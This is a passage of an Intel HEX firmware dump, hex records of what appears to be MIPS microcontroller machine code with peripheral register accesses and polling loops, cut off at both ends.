f33\n:10c90000c7f2400b00000000c7f2400b000000001f\n:10c910000c8282932118400000a0023cdc56422485\n:10c92000c800428c28006210000000000481838f40\n:10c93000148282931b006200f4014000101000007a\n:10c940000a0040140000000088bf023ca061428c35\n:10c95000000242300100422cff00443088bf033cfb\n:10c96000a0616294444a827ca06162a40481828fa7\n:10c970002c82848f148283931b008300f401600057\n:10c980001018000012200000148283931800830006\n:10c99000121800001b004300f4016000101000009a\n:10c9a00030004014000000001882828f01004324f0\n:10c9b000188283af000042900c8282a3048180af72\n:10c9c000c7f2400b000000000481838f0d82829328\n:10c9d0001b006200f4014000101000000a00401427\n:10c9e0000000000088bf023ca061428c000242307f\n:10c9f0000100422cff00443088bf033ca0616294d8\n:10ca0000444a827ca06162a40481828f2c82848f3c\n:10ca10000d8283931b008300f40160001018000056\n:10ca2000122000000d82839318008300121800006a\n:10ca30001b004300f40160001010000009004014c6\n:10ca4000000000001882828f01004324188283af07\n:10ca5000000042900c8282a3048180afc7f2400b99\n:10ca600000000000c7f2400b000000000481838f2b\n:10ca70000d8282931b006200f40140001010000040\n:10ca80000c0040140000000088bf023ca061428cf2\n:10ca9000000242300100422cff00443088bf033cba\n:10caa000a0616294444a827ca06162a4baf2400b05\n:10cab0000000000000a0023cdc564224c800428c6a\n:10cac000ff0043300c82829326106200ff00423048\n:10cad00001004230ff00443088bf033ca0616294f3\n:10cae000444a827ca06162a40481838f2c82828f5d\n:10caf00009006214000000001882828f01004324a4\n:10cb0000188283af000042900c8282a3048180af20\n:10cb1000c6f2400b000000000000000021e8c00346\n:10cb20001400a28f130040001000a38f11006000ba\n:10cb30002000a28f0f0042300500401400000000ca\n:10cb40000c00be8f0800a48f0400a38f0000a28fea\n:10cb5000000000002400bb8f2000ba8f2800bd27f2\n:10cb600002609a4000e8dd4100609b4018000042ee\n:10cb700000e85d4100701b4002601a4080ffbd2745\n:10cb80007c00bbaf00601b407400baaf7800bbaf45\n:10cb900044781b7c00187b3700609b402000a3afcb\n:10cba0001c00a2af7400a38f0f0063301300601449\n:10cbb000000000006400bfaf6000beaf5c00b9af12\n:10cbc0005800b8af5400b0af5000afaf4c00aeaf9c\n:10cbd0004800adaf4400acaf4000abaf3c00aaafe3\n:10cbe0003800a9af3400a8af3000a7af2c00a6af23\n:10cbf0002800a5af2400a4af1800a1af00000000da\n:10cc0000121000006c00a2af101800006800a3af63\n:10cc100021f0a0031000c0af88bf033ca060629465\n:10cc2000010004244408827ca06062a488bf033c05\n:10cc3000a0606294010004248410827ca06062a43d\n:10cc400088bf023c0100033c341043ac94808293c3\n:10cc50000100422cff004230948082a39880828f92\n:10cc60000300401000000000d2f4400b0000000060\n:10cc70003882828f0800401400000000fc8080afe2\n:10cc8000ffff0224348082a3140d410f0000000036\n:10cc9000d2f4400b00000000448282930700401051\n:10cca0000000000044828293ffff4224ff004230d4\n:10ccb000448282a3d2f4400b0000000088bf033cf2\n:10ccc000a06062944408027ca06062a400a0023cc0\n:10ccd000dc564224a0004290040043280900601062\n:10cce00000000000020043289e00601000000000c9\n:10ccf000010003240800431000000000baf4400bb8\n:10cd0000000000000400032427014310000000007d\n:10cd1000baf4400b0000000088bf023cd060428c97\n:10cd20000002427cff0042302014027c088182a372\n:10cd3000fc80828f090040140000000000a0023c2b\n:10cd4000dc564224cc00428c04004010000000005d\n:10cd5000fc80828f01004224fc8082af00a0023c54\n:10cd6000dc564224cc00428c280040100000000019\n:10cd7000fc80828f2500401000000000fc80828f24\n:10cd80000100423021004010000000000881838330\n:10cd9000348082831d0062140000000088bf033cc1\n:10cda000e0606294c45a027ce06062a4f880828fe2\n:10cdb0000800401000000000fc8080afffff02244c\n:10cdc000348082a3140d410f00000000d2f4400b08\n:10cdd0000000000001000224f88082af1882838fd7\n:10cde000fc80828f4210020023100200211062009a\n:10cdf000188282af01000224fc8082af80bf023c17\n:10ce0000100e40acd2f4400b0000000000a0023c29\n:10ce1000dc564224c400428c1f0040100000000079\n:10ce2000fc80828f010042301b0040100000000097\n:10ce300034808383088182830b0062140000000029\n:10ce40001882828f01004324188283af00a0033c24\n:10ce5000dc566324c800638cff006330000043a0ed\n:10ce6000a4f3400b000000001882828f01004324cd\n:10ce7000188283af00a0033cdc566324c800638c97\n:10ce8000ff00633001006338ff006330000043a0ff\n:10ce900080bf023c100e40ac00a0023cdc56422495\n:10cea000cc00428c140040140000000000a0023ca2\n:10ceb000dc564224c400428c0f00401400000000e5\n:10cec0001882828f01004324188283af00a0033ca4\n:10ced000dc566324c800638cff00643008818383c0\n:10cee000ff00633026188300ff006330000043a07a\n:10cef00080bf023c100e40ac00a0023cdc56422435\n:10cf0000cc00428c1300401000000000fc80828f97\n:10cf1000010042300f004010000000001882828f94\n:10cf200001004324188283af08818383212060009d\n:10cf300000a0033cdc566324c800638c26188300e1\n:10cf40000100632cff006330000043a080bf023c5f\n:10cf5000100e40ac08818283348082a3baf4400b67\n:10cf60000000000000a0023cdc5642249c00438ce0\n:10cf700000a0023cdc564224a400448c00a0023ce9\n:10cf8000dc564224a400458ccccc023ccdcc4234af\n:10cf90001900a2001010000082100200231082006d\n:10cfa00018006200121000001400c2af0100042437\n:10cfb000ff0d410f000000004ff4400b0000000087\n:10cfc000010002241000c2affff3400b000000007c\n:10cfd00021200000ff0d410f00000000211840003b\n:10cfe0001400c28f2b10430004004010000000000a\n:10cff0001000c0af04f4400b0000000088bf023cea\n:10d00000d060428c00014230f1ff4014000000006b\n:10d0100011f4400b0000000021200000ff0d410f23\n:10d0200000000000211840001400c28f2b104300a4\n:10d0300004004010000000001000c0af16f4400bc8\n:10d040000000000088bf023cd060428c00014230ea\n:10d05000f1ff40100000000023f4400b000000002e\n:10d0600021200000ff0d410f0000000021184000aa\n:10d070001400c28f2b104300040040100000000079\n:10d080001000c0af28f4400b0000000088bf023c35\n:10d09000d060428c00014230f1ff401400000000db\n:10d0a00035f4400b0000000021200000ff0d410f6f\n:10d0b00000000000211840001400c28f2b10430014\n:10d0c00004004010000000001000c0af3af4400b14\n:10d0d0000000000088bf023cd060428c000142305a\n:10d0e000f1ff40100000000001000424ff0d410f7b\n:10d0f000000000004af4400b000000002120000066\n:10d10000ff0d410f00000000211840001400c28fe5\n:10d110002b10430004004010000000001000c0afbe\n:10d120004ff4400b0000000088bf023cd060428cee\n:10d1300000014230f1ff40140000000021200000f7\n:10d14000ff0d410f00000000211840001400c28fa5\n:10d150002b10620004004010000000001000c28f7d\n:10d1600097ff4010000000001000c28f0c0040101c\n:10d17000000000001882828f2180400001000226fa\n:10d18000188282af01000424ff0d410f000000004f\n:10d19000ff004230000002a2baf4400b0000000081\n:10d1a000baf4400b0000000000a0023cdc56422410\n:10d1b0009c00438ccccc023ccdcc423419006200a4\n:10d1c00010100000c2100200c01002001400c2af14\n:10d1d00080bf023c100e40ac7ff4400b000000000a\n:10d1e00088bf023cd060428c0001423003004010f6\n:10d1f0000000000085f4400b0000000080bf023cee\n:10d20000100e438c1400c28f2b106200f4ff4014e8\n:10d210000000000088bf023cd060428c0002427ccb\n:10d22000ff0042302118400000a0023cdc5642249e\n:10d23000c800428cff00423026106200ff004330dd\n:10d2400008818283ff00423026106200ff004230d6\n:10d250002014027c088182a34082828f1900401032\n:10d260000000000088bf023cd060428c00014230c8\n:10d27000140040100000000080bf023c100e40acc3\n:10d280000000000088bf023cd060428c00014230a8\n:10d29000fcff40140000000021200000ff0d410fa2\n:10d2a000000000001400c2af4082828f1400c38fc0\n:10d2b0002b10620003004010000000000100022457\n:10d2c000f48082af1882828f01004324188283afda\n:10d2d00008818383ff006330000043a080bf023ccd\n:10d2e000100e40ac00000000fc80828f0100422440\n:10d2f000fc8082af88bf033ca06062948410027cf3\n:10d30000a06062a4fc80838f3882828f0e0062143a\n:10d3100000000000fc8080affc80828f388282afea\n:10d32000ffff0224348082a3f88080af88bf033cd3\n:10d33000e060629401000424c45a827ce06062a42c\n:10d34000140d410f0000000021e8c0036c00a28f03\n:10d35000130040006800a38f110060007400a28fca\n:10d360000f00423015004014000000006400bf8f21\n:10d370006000be8f5c00b98f5800b88f5400b08f2a\n:10d380005000af8f4c00ae8f4800ad8f4400ac8f83\n:10d390004000ab8f3c00aa8f3800a98f3400a88fc3\n:10d3a0003000a78f2c00a68f2800a58f2400a48f03\n:10d3b0002000a38f1c00a28f1800a18f0000000086\n:10d3c00000606041c00000007c00ba8f7800bb8f15\n:10d3d00000709a407400ba8f8000bd2702609a40a6\n:10d3e00000e8dd4100609b4018000042e8ffbd27d7\n:10d3f0001400bfaf1000beaf21f0a00321108000c9\n:10d400001800c2a31800c2933400401000000000ae\n:10d410001800c2930200032418004310000000000b\n:10d4200003004328060060100000000001000324f0\n:10d430000b0043100000000034f5400b000000001a\n:10d440000300032414004310000000000400032420\n:10d45000180043100000000034f5400b00000000ed\n:10d4600088bf033ca0606294010004244408827ccd\n:10d47000a06062a437f5400b0000000088bf033ca9\n:10d48000a0606294010004248410827ca06062a4e5\n:10d4900037f5400b0000000088bf033ca060629499\n:10d4a00001000424c418827ca06062a437f5400bfc\n:10d4b0000000000088bf033c206162940100042446\n:10d4c0004429827c206162a437f5400b00000000f3\n:10d4d0002110000052f6400b0000000088bf023c03\n:10d4e000d060428c4001427cff0042302118400055\n:10d4f00000a0023cdc564224980043ac48f5400ba7\n:10d50000000000004715410f00000000040040101b\n:10d51000000000002110000052f6400b0000000047\n:10d5200088bf023cd060428c4001427cff00423008\n:10d530002118400000a0023cdc5642249800428c96\n:10d540000b0062140000000088bf023cd060428cd7\n:10d550008001427cff0042302118400000a0023cc4\n:10d56000dc5642249800428ce6ff62100000000066\n:10d5700001000424ff0d410f0000000088bf023ca1\n:10d58000d060428c4001427cff00423021184000b4\n:10d5900000a0023cdc5642249800428c0b00621032\n:10d5a00000000000d480828f01004324d48083af28\n:10d5b00000a0033cdc24632421104300300003243a\n:10d5c000000043a084f5400b00000000d480828f4f\n:10d5d00001004324d48083af00a0033cdc246324f7\n:10d5e0002110430031000324000043a084f5400bc8\n:10d5f000000000004715410f00000000040040102b\n:10d60000000000002110000052f6400b0000000056\n:10d6100088bf023cd060428c4001427cff00423017\n:10d620002118400000a0023cdc5642249800428ca5\n:10d63000f0ff62140000000088bf023cd060428c02\n:10d640008001427cff0042302118400000a0023cd3\n:10d65000dc5642249800428ce6ff62140000000071\n:10d6600001000424ff0d410f0000000021184000bc\n:10d6700000a0023cdc564224900043aca8f5400bcd\n:10d68000000000004715410f00000000040040109a\n:10d69000000000002110000052f6400b00000000c6\n:10d6a00088bf023cd060428c4001427cff00423087\n:10d6b0002118400000a0023cdc5642249800428c15\n:10d6c0000b0062140000000088bf023cd060428c56\n:10d6d0008001427cff0042302118400000a0023c43\n:10d6e000dc5642249800428ce6ff621000000000e5\n:10d6f00001000424ff0d410f00000000211840002c\n:10d7000000a0023cdc564224940043ac88bf023c9b\n:10d71000d060428c4001427cff0042302118400022\n:10d7200000a0023cdc5642249800428c0b006210a0\n:10d7300000000000d480828f01004324d48083af96\n:10d7400000a0033cdc2463242110430030000324a8\n:10d75000000043a0e8f5400b00000000d480828f59\n:10d7600001004324d48083af00a0033cdc24632465\n:10d770002110430031000324000043a0e8f5400bd2\n:10d78000000000004715410f000000000400401099\n:10d79000000000002110000052f6400b00000000c5\n:10d7a00088bf023cd060428c4001427cff00423086\n:10d7b0002118400000a0023cdc5642249800428c14\n:10d7c000f0ff62140000000088bf023cd060428c71\n:10d7d0008001427cff0042302118400000a0023c42\n:10d7e000dc5642249800428ce6ff621400000000e0\n:10d7f0002120000058f6400f00000000d8808393dd\n:10d80000010002241d0062140000000000a0023c80\n:10d81000dc5642249000428c059d033c485264240f\n:10d82000212840008513410f0000000000a0023ca9\n:10d83000dc5642249400428c059d033c68526424cb\n:10d84000212840008513410f0000000000a0023c89\n:10d85000dc5642249000438c00a0023cdc5642245b\n:10d860009400428c21106200059d033c8c5264247c\n:10d87000212840008513410f000000001800c293ca\n:10d8800030004010000000001800c2930200032482\n:10d89000170043100000000003004328060060103a\n:10d8a00000000000010003240b00431000000000f2\n:10d8b0004ef6400b0000000003000324120043104a\n:10d8c00000000000040003241500431000000000c5\n:10d8d0004ef6400b0000000088bf033ca06062943d\n:10d8e0004408027ca06062a451f6400b00000000d6\n:10d8f00088bf033ca06062948410027ca06062a494\n:10d9000051f6400b0000000088bf033ca060629409\n:10d91000c418027ca06062a451f6400b0000000015\n:10d9200088bf033c206162944429027c206162a488\n:10d9300051f6400b000000002110000052f6400b91\n:10d94000000000000100022421e8c0031400bf8f82\n:10d950001000be8f1800bd270800e0030000000083\n:10d96000d8ffbd272400bfaf2000beaf1c00b0af62\n:10d9700021f0a003211080002800c2a32800c29338\n:10d9800044004010000000002800c293020003245d\n:10d990001c00431000000000030043280600601034\n:10d9a00000000000010003240b00431000000000f1\n:10d9b000a2f6400b00000000030003241c004310eb\n:10d9c00000000000040003242400431000000000b5\n:10d9d000a2f6400b0000000088bf023ca060428c11\n:10d9e000020042300100422cff00443088bf033c5b\n:10d9f000a06062944408827ca06062a4a5f6400bfb\n:10da00000000000088bf023ca060428c040042304d\n:10da10000100422cff00443088bf033ca0606294a8\n:10da20008410827ca06062a4a5f6400b0000000078\n:10da300088bf023ca060428c080042300100422caa\n:10da4000ff00443088bf033ca0606294c418827c0d\n:10da5000a06062a4a5f6400b0000000088bf023c55\n:10da60002061428c200042300100422cff004430f3\n:10da700088bf033c206162944429827c206162a4b7\n:10da8000a5f6400b000000002110000019f7400b24\n:10da90000000000000a0023cdc5642249000438cb1\n:10daa00000a0023cdc5642249400428c211062000b\n:10dab000401002001000c2afd480828f218040004d\n:10dac00001000226d48082af2120000020f7400f01\n:10dad000000000002118400000a0023cdc24422489\n:10dae00021100202000043a0d480908f1000c48f48\n:10daf00020f7400f000000002118400000a0023c69\n:10db0000dc24422421100202000043a0d480838f31\n:10db100000a0023cdc24422421106200000042905c\n:10db20000700401400000000000000002800c2931d\n:10db30004b00401000000000d5f6400b0000000034\n:10db4000d480828f01004224d48082afbaf6400b89\n:10db5000000000002800c293020003241c004310b0\n:10db600000000000030043280600601000000000d1\n:10db7000010003240b0043100000000015f7400bc8\n:10db800000000000030003241c00431000000000fc\n:10db900004000324240043100000000015f7400b8c\n:10dba0000000000088bf023ca060428c02004230ae\n:10dbb0000100422cff00443088bf033ca060629407\n:10dbc0004408827ca06062a418f7400b00000000ab\n:10dbd00088bf023ca060428c040042300100422c0d\n:10dbe000ff00443088bf033ca06062948410827cb4\n:10dbf000a06062a418f7400b0000000088bf023c40\n:10dc0000a060428c080042300100422cff004430ea\n:10dc100088bf033ca0606294c418827ca06062a4a8\n:10dc200018f7400b0000000088bf023c2061428cc6\n:10dc3000200042300100422cff00443088bf033cea\n:10dc4000206162944429827c206162a418f7400b11\n:10dc5000000000002110000019f7400b0000000038\n:10dc60000100022421e8c0032400bf8f2000be8fe2\n:10dc70001c00b08f2800bd270800e0030000000052\n:10dc8000e0ffbd271c00bfaf1800beaf21f0a0030e\n:10dc90002000c4af01000424ff0d410f000000006c\n:10dca00040f7400b0000000021200000ff0d410f55\n:10dcb000000000001400c2af2000c28f0900401015\n:10dcc000000000001400c38f2000c28f2b104300ff\n:10dcd0000400401000000000211000007af7400b03\n:10dce000000000004715410f000000000400401034\n:10dcf00000000000211000007af7400b0000000037\n:10dd000088bf023cd060428c4001427cff00423020\n:10dd10002118400000a0023cdc5642249800428cae\n:10dd20000b0062140000000088bf023cd060428cef\n:10dd30008001427cff0042302118400000a0023cdc\n:10dd4000dc5642249800428cd7ff6210000000008d\n:10dd500088bf023cd060428c4001427cff004230d0\n:10dd60002118400000a0023cdc5642249800428c5e\n:10dd70000500621000000000300002241000c2a361\n:10dd800064f7400b00000000310002241000c2a321\n:10dd90000000000088bf023cd060428c4001427c01\n:10dda000ff0042302118400000a0023cdc56422413\n:10ddb0009800428cf7ff62140000000088bf023c0c\n:10ddc000d060428c8001427cff004230211840002c\n:10ddd00000a0023cdc5642249800428cedff621405\n:10dde000000000001000c29321e8c0031c00bf8f98\n:10ddf0001800be8f2000bd270800e00300000000cf\n:10de0000e8ffbd271400bfaf1000beaf21f0a00394\n:10de10001800c4af94f7400b000000001800c28f38\n:10de20000000429021204000aff7400f00000000aa\n:10de300004004014000000000100022499f7400b88\n:10de4000000000001800c28f010042241800c2af79\n:10de50001800c28f00004290f0ff40140000000044\n:10de60002110000021e8c0031400bf8f1000be8ff6\n:10de70001800bd270800e00300000000f8ffbd27e0\n:10de80000400beaf21f0a0030800c4af8c80828fd5\n:10de9000040040100000000001000224aaf7400b1b\n:10dea000000000000100022421e8c0030400be8f2e\n:10deb0000800bd270800e00300000000e8ffbd27c0\n:10dec0001400bfaf1000beaf21f0a00321108000ee\n:10ded0001800c2a300a0023cdc5642249000428cf1\n:10dee000060040100000000000a0023cdc56422466\n:10def0009400428c04004014000000002110000037\n:10df00000bf8400b0000000001000424ff0d410f3e\n:10df1000000000001800c393300002240c006214bb\n:10df20000000000000a0023cdc5642249800428c15\n:10df30000100422cff00443088bf033ce060629443\n:10df4000c418827ce06062a4ddf7400b0000000092\n:10df500000a0023cdc5642249800428c0100422c76\n:10df6000ff00443088bf033ce06062948410827cf0\n:10df7000e06062a40000000021200000ff0d410fbe\n:10df8000000000002118400000a0023cdc564224a2\n:10df90009000428c2b106200f7ff4014000000003c\n:10dfa00000a0023cdc5642249800428cff00423024\n:10dfb00001004230ff00443088bf033ce0606294bf\n:10dfc000c418827ce06062a400a0023cdc564224bb\n:10dfd0009800428cff00423001004230ff00443084\n:10dfe00088bf033ce06062948410827ce06062a49d\n:10dff00001000424ff0d410f00000000000000009c\n:10e0000021200000ff0d410f0000000021184000fa\n:10e0100000a0023cdc5642249400428c2b1062008b\n:10e02000f7ff4014000000000100022421e8c003b3\n:10e030001400bf8f1000be8f1800bd270800e0033a\n:10e0400000000000e8ffbd271400bfaf1000beaf06\n:10e0500021f0a00393f8400f0000000088bf033cac\n:10e06000e0606294c418027ce06062a488bf033c54\n:10e07000e0606294010004248410827ce06062a469\n:10e0800088bf023cd060428c200042300600401421\n:10e090000000000088bf023cd060428c400042304b\n:10e0a00004004014000000002110000044f8400b60\n:10e0b0000000000088bf033ce0606294010004247b\n:10e0c000c418827ce06062a488bf033ce060629474\n:10e0d0008410027ce06062a488bf023cd060428c65\n:10e0e00020004230060040100000000088bf023cc3\n:10e0f000d060428c4000423004004010000000001c\n:10e100002110000044f8400b000000000100022430\n:10e1100021e8c0031400bf8f1000be8f1800bd2778\n:10e120000800e00300000000e0ffbd271c00bfafb7\n:10e130001800beaf1400b0af21f0a0032000c4afa0\n:10e140002400c5af2110c0002800c2a32000d08f3a\n:10e15000010002262000c2af2800c2934210020034\n:10e16000ff0042302400c48f2128000021304000ed\n:10e17000ffbc400f00000000000002a22800c29374\n:10e180002000c48f2400c58f21304000494a410f30\n:10e19000000000002800c2932000c38f21106200fd\n:10e1a0002000c2af2800c29342100200ff0042309c\n:10e1b0002400c38f211862002800c293421002007d\n:10e1c000ff00423021206000010005242130400082\n:10e1d000ffbc400f00000000211840002000c28f4b\n:10e1e000000043a021e8c0031c00bf8f1800be8fb1\n:10e1f0001400b08f2000bd270800e00300000000dd\n:10e20000f8ffbd270400beaf21f0a00388bf033c88\n:10e21000c060629401000424c418827cc06062a4bf\n:10e2200088bf033cc0606294010004248410827c97\n:10e23000c06062a48c8080af21e8c0030400be8f60\n:10e240000800bd270800e00300000000f8ffbd271c\n:10e250000400beaf21f0a00388bf033cc0606294fd\n:10e26000c418027cc06062a488bf033cc060629492\n:10e270008410027cc06062a488bf023cd060428ce3\n:10e280004001427cff00443088bf033ce060629460\n:10e29000c418827ce06062a488bf023cd060428cdb\n:10e2a0008001427cff00443088bf033ce060629400\n:10e2b0008410827ce06062a4010002248c8082af22\n:10e2c00021e8c0030400be8f0800bd270800e0035a\n:10e2d00000000000f8ffbd270400beaf21f0a0033e\n:10e2e0000800c4af0800c28fff0042300100423076\n:10e2f000ff00443088bf033ce061628c8473827c01\n:10e30000e06162ac0800c28fff0042300100423081\n:10e31000ff00443088bf033ce061628cc47b827c98\n:10e32000e06162ac21e8c0030400be8f0800bd2795\n:10e330000800e00300000000d0ffbd272c00bfafa5\n:10e340002800beaf21f0a0033000c4af3400c5af39\n:10e350003800c6af3c00c7af00a0023cdc1c442420\n:10e360003000c58fe7b8400f000000002000c2afaa\n:10e370002000c28f040040140000000021100000a3\n:10e38000fcf8400b0000000000a0023cdc564224d8\n:10e39000cc00428c090040100000000000a0023cac\n:10e3a000dc1c442400a0023cdc1c45242000c68f59\n:10e3b0006dbb400f000000002000c2af3c00c28fc8\n:10e3c0001000a2af4000c28f1400a2af4400c28f61\n:10e3d0001800a2af00a0023cdc1c44242000c58f22\n:10e3e0003400c68f3800c78f02f9400f00000000cc\n:10e3f00021e8c0032c00bf8f2800be8f3000bd274e\n:10e400000800e00300000000e0ffbd271c00bfafd4\n:10e410001800beaf21f0a0032000c4af2400c5af98\n:10e420002800c6af2c00c7af00a0023cdc1c44246f\n:10e430002000c58f2400c68f494a410f000000000c\n:10e4400000a0023cdc1c43242400c28f2110620087\n:10e450002a000324000043a02800c28f42180200b3\n:10e460002c00c28f401002003400c48f1000a4aff3\n:10e470003800c48f1400a4af2120600000a0033c2a\n:10e48000dc1c6524213040003000c78f2cf9400f80\n:10e49000000000000100022421e8c0031c00bf8f1f\n:10e4a0001800be8f2000bd270800e0030000000018\n:10e4b000e8ffbd271400bfaf1000beaf21f0a003de\n:10e4c0001800c4af1c00c5af2000c6af2400c7af02\n:10e4d0001800c38fcccc023ccdcc42341900620072\n:10e4e00010100000c2100200c01002001800c2afdd\n:10e4f0001c00c28f000042900c8282a31c00c28fbd\n:10e5000001004224188282af1c00c28f208282af99\n:10e510002c00c28f248282af2000c28f2c8282af57\n:10e520002400c28fff0042300d8282a32800c28fd8\n:10e53000ff004230148282a302000224848082a35e\n:10e54000e00c410f0000000088bf023c00100324d3\n:10e55000641043ac88bf023c681040ac80bf023cf2\n:10e56000000a40ac88bf033c606062940100042450\n:10e570000421827c606062a488bf033c20616294b5\n:10e58000444a027c206162a488bf033cd06062944c\n:10e590000421027cd06062a488bf033c20616294a5\n:10e5a0000400027c206162a480bf023c000a40acef\n:10e5b00080bf023c100a40ac1800c28fffff43240a\n:10e5c00080bf023c200a43ac80bf023c0080033481\n:10e5d000080a43ac88bf023c1c000324c41043acaf\n:10e5e00088bf023c18000324c81043ac88bf023c1b\n:10e5f00000100324341043ac88bf023c00100324f5\n:10e60000641043ac88bf023c00100324681043ac84\n:10e6100021e8c0031400bf8f1000be8f1800bd2773\n:10e620000800e00300000000b8fdbd274402bfafb2\n:10e630004002beaf21f0a0034802c4af4c02c5aff8\n:10e64000010002243400c2af3800c227212040005c\n:10e6500030000524000206246551410f000000002f\n:10e660003802c0a300a0023cdc5642249c00448c2b\n:10e6700000a0023cdc564224a400458c00a0023cd1\n:10e68000dc564224a800438c00a0023cdc56422405\n:10e69000ac00428c00a0063cdc56c624b000c98cfd\n:10e6a00000a0063cdc56c624c800c88c00a0063c6e\n:10e6b000dc56c624bc00c6902138c00000a0063c31\n:10e6c000dc56c6248c00c68c3800ca271000aaafbe\n:10e6d0001400a9af1800a8af00a0083c995708255e\n:10e6e0001c00a8af2000a7af2400a6af4c02c68f25\n:10e6f0002800a6af010006242c00a6af2130600040\n:10e7000021384000f5f9400f0000000021184000ba\n:10e7100000a0023cdc564224b000428c040062108f\n:10e720000000000021100000eff9400b0000000085\n:10e730003000c0afdaf9400b000000003000c28f9b\n:10e740003000c327211062000800439030000224eb\n:10e7500002006210000000003400c0af3000c28f21\n:10e76000010042243000c2af3800c22721204000ff\n:10e77000a34a410f00000000211840003000c28f62\n:10e780002b104300edff4014000000003400c28f46\n:10e79000040040100000000021100000eff9400bc1\n:10e7a000000000003800c2274802c48f2128400022\n:10e7b0007f49410f000000000100022421e8c0034e\n:10e7c0004402bf8f4002be8f4802bd270800e0030d\n:10e7d00000000000c0ffbd273c00bfaf3800beaf47\n:10e7e0003400b0af21f0a0034000c4af4400c5af77\n:10e7f0004800c6af4c00c7af6000c38f6c00c28f2b\n:10e800002800c3a32c00c2a31800c0af2000c0a3df\n:10e810006800c28f050040100000000001000224c3\n:10e820002100c2a30dfa400b0000000002000224e8\n:10e830002100c2a32100c3935400c28f18006200bc\n:10e840006400c28f1000a2af4000c48f4400c58f87\n:10e8500000a0023cdc1c462412380000d4fa400f11\n:10e86000000000000400401400000000211000001f\n:10e87000bcfa400b000000009880828f040040101a\n:10e880000000000021100000bcfa400b0000000056\n:10e890006400c28f06004010000000000100042444\n:10e8a000ff0d410f000000003cfa400b000000008b\n:10e8b0003cfa400b000000006400c28f0c004010c6\n:10e8c0000000000021200000ff0d410f00000000ab\n:10e8d000211840006400c28f2b1043000400401038\n:10e8e0000000000021100000bcfa400b00000000f6\n:10e8f00088bf023ca061428c40004230eeff4010d5\n:10e90000000000002100c3935400c28f1800620071\n:10e910004800c38f4c00c28f2b104300ff004230d1\n:10e92000211840005800c28f2610620000a0033c4e\n:10e93000dc1c642400a0033cdc1c652412300000b5\n:10e9400021384000c1fb400f0000000004004014cb\n:10e950000000000021100000bcfa400b0000000085\n:10e960002800c29345004010000000002000c0a312\n:10e970001c00c0af1c00c28f1800c2af8cfa400b45\n:10e980000000000000a0023cdc1c43241800c28fe1\n:10e9900021106200000050901c00c28fc2100200c3\n:10e9a0005c00c38f211062000000429021184000db\n:10e9b0001c00c28fff00423027100200ff004230cf\n:10e9c00007004230212060002128400045ba400f56\n:10e9d0000000000006000216000000001c00c28fac\n:10e9e000010042241c00c2af81fa400b000000006d\n:10e9f0001800c38f1c00c28f231062001800c2af22\n:10ea00001c00c0af2800c3931c00c28f0500621415\n:10ea100000000000010002242000c2a394fa400b71\n:10ea2000000000001800c28f010042241800c2af8d\n:10ea30002100c3935400c28f180062001800c28fd7\n:10ea4000121800002b104300ceff401400000000fd\n:10ea50002000c293040040140000000021100000b8\n:10ea6000bcfa400b000000002800c2931800c38fbe\n:10ea700023106200010042241800c2af2c00c3938f\n:10ea8000010002240c006214000000001800c38f73\n:10ea900000a0023cdc1c4224211062005000c48f04\n:10eaa000212840005400c68f63b9400f00000000c9\n:10eab000bcfa400b000000001800c38f00a0023c0d\n:10eac000dc1c4224211062005000c48f2128400029\n:10ead0005400c68f494a410f000000005000c38f08\n:10eae0005400c28f21106200000040a05400c28f69\n:10eaf00021e8c0033c00bf8f3800be8f3400b08fc8\n:10eb00004000bd270800e00300000000e8ffbd272b\n:10eb10001400bfaf1000beaf21f0a0031800c4afb7\n:10eb20001c00c5af1800c48f1c00c58f7f49410f62\n:10eb3000000000000100022421e8c0031400bf8f80\n:10eb40001000be8f1800bd270800e0030000000081\n:10eb5000d8ffbd272400bfaf2000beaf21f0a00327\n:10eb60002800c4af2c00c5af3000c6af3400c7af1b\n:10eb70003000c28f188282af3400c28f388282afd9\n:10eb80001882828f21204000212800003400c68f87\n:10eb90006551410f0000000088bf023c0002033ca9\n:10eba000741043ac88bf023c2061428c02004230aa\n:10ebb0001b004010000000002800c28f421002001d\n:10ebc00003000424212840002800c68f08000724e1\n:10ebd000ce0b410f0000000000a0023cdc56422496\n:10ebe0009c00438c00a0023cdc564224f000428c86\n:10ebf00018006200122000001800c4afeb51023c64\n:10ec00001f8542341800c38f1900620010100000e5\n:10ec10004211020021204000400e410f0000000080\n:10ec200001000424ff0d410f000000001bfb400bfe\n:10ec3000000000003800c28f0c00401000000000ef\n:10ec400021200000ff0d410f0000000021184000ae\n:10ec50003800c28f2b104300040040100000000059\n:10ec600021100000bbfb400b0000000088bf023ced\n:10ec7000d060428c00014230eeff401400000000e2\n:10ec800030fb400b000000003800c28f0c00401029\n:10ec90000000000021200000ff0d410f00000000d7\n:10eca000211840003800c28f2b1043000400401090\n:10ecb0000000000021100000bbfb400b0000000022\n:10ecc00088bf023cd060428c00014230eeff401011\n:10ecd0000000000045fb400b000000003800c28f20\n:10ece0000c0040100000000021200000ff0d410f2b\n:10ecf00000000000211840003800c28f2b10430094\n:10ed0000040040100000000021100000bbfb400b7d\n:10ed10000000000088bf023cd060428c00014230fd\n:10ed2000eeff40140000000001000424ff0d410f1d\n:10ed3000000000005dfb400b000000003800c28fa7\n:10ed40000c0040100000000021200000ff0d410fca\n:10ed500000000000211840003800c28f2b10430033\n:10ed6000040040100000000021100000bbfb400b1d\n:10ed70000000000088bf023cd060428c000142309d\n:10ed8000eeff40100000000001000424ff0d410fc1\n:10ed9000000000001400c2af140002241000c2a33f\n:10eda000a3fb400b000000007afb400b00000000ba\n:10edb0003800c28f0c00401000000000212000002d\n:10edc000ff0d410f00000000211840003800c28fe5\n:10edd0002b10430004004010000000002110000030\n:10ede000bbfb400b0000000088bf023cd060428c9f\n:10edf00000014230eeff4014000000000100042436\n:10ee0000ff0d410f0000000092fb400b00000000ce\n:10ee10003800c28f0c0040100000000021200000cc\n:10ee2000ff0d410f00000000211840003800c28f84\n:10ee30002b104300040040100000000021100000cf\n:10ee4000bbfb400b0000000088bf023cd060428c3e\n:10ee500000014230eeff40100000000021200000c1\n:10ee6000ff0d410f00000000212040001400c58f5d\n:10ee7000280006246ab5400f00000000030040147b\n:10ee800000000000a8fb400b000000001000c2932f\n:10ee9000ffff43241000c3a3c3ff40140000000081\n:10eea00001000424ff0d410f000000002800c38f63\n:10eeb000cccc023ccdcc42341900620010100000d2\n:10eec000c21802002c00c28f180062001218000045\n:10eed000c0100300ffff4224212040000100052450\n:10eee0006d0c410f000000000100022421e8c00366\n:10eef0002400bf8f2000be8f2800bd270800e0033c\n:10ef000000000000e0ffbd271c00bfaf1800beaf2f\n:10ef100021f0a0032000c4af2400c5af2800c6af75\n:1